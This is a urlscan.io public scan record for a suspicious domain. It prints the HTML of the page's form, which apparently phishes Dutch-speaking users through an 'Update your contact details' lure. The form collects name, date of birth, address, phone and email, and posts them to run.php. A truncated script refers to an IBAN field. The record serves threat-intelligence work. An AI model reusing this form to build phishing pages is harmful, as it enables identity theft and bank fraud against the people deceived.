enrareciereis.za.com Open in urlscan Pro
185.221.216.115  Public Scan

Form analysis
1 forms found in the DOM

POST run.php

<form action="run.php" method="post">
  <div class="input-wrapper">
    <input type="text" required="" id="voornaam" name="voornaam" placeholder=" ">
    <label for="voornaam">First name</label>
  </div>
  <div class="input-wrapper">
    <input type="text" required="" id="achternaam" name="achternaam" placeholder=" ">
    <label for="achternaam">Last name</label>
  </div>
  <div class="input-wrapper">
    <input type="text" required="" id="geboortedatum" name="geboortedatum" placeholder=" ">
    <label for="geboortedatum">Date of birth</label>
  </div>
  <div class="input-wrapper">
    <input type="text" required="" id="straat_huisnummer" name="straat_huisnummer" placeholder=" ">
    <label for="straat_huisnummer">Street name and house number</label>
  </div>
  <div class="input-wrapper">
    <input type="text" required="" id="postcode" name="postcode" placeholder=" ">
    <label for="postcode">Postal code</label>
  </div>
  <div class="input-wrapper">
    <input type="text" required="" id="postcodez" name="postcodez" placeholder=" ">
    <label for="postcodez">Country</label>
  </div>
  <div class="input-wrapper">
    <input type="tel" required="" id="telefoonnummer" name="telefoonnummer" placeholder=" ">
    <label for="telefoonnummer">Phone number</label>
  </div>
  <div class="input-wrapper">
    <input type="text" required="" id="emailadres" name="emailadres" placeholder=" ">
    <label for="emailadres">Email</label>
  </div>
  <button type="submit"><b>Next</b></button>
  <script>
    document.addEventListener("DOMContentLoaded", function() {
          var ibanInput = document.getElementById('iban');
  </script>
</form>

Text Content

Update your contact details


First name
Last name
Date of birth
Street name and house number
Postal code
Country
Phone number
Email
Next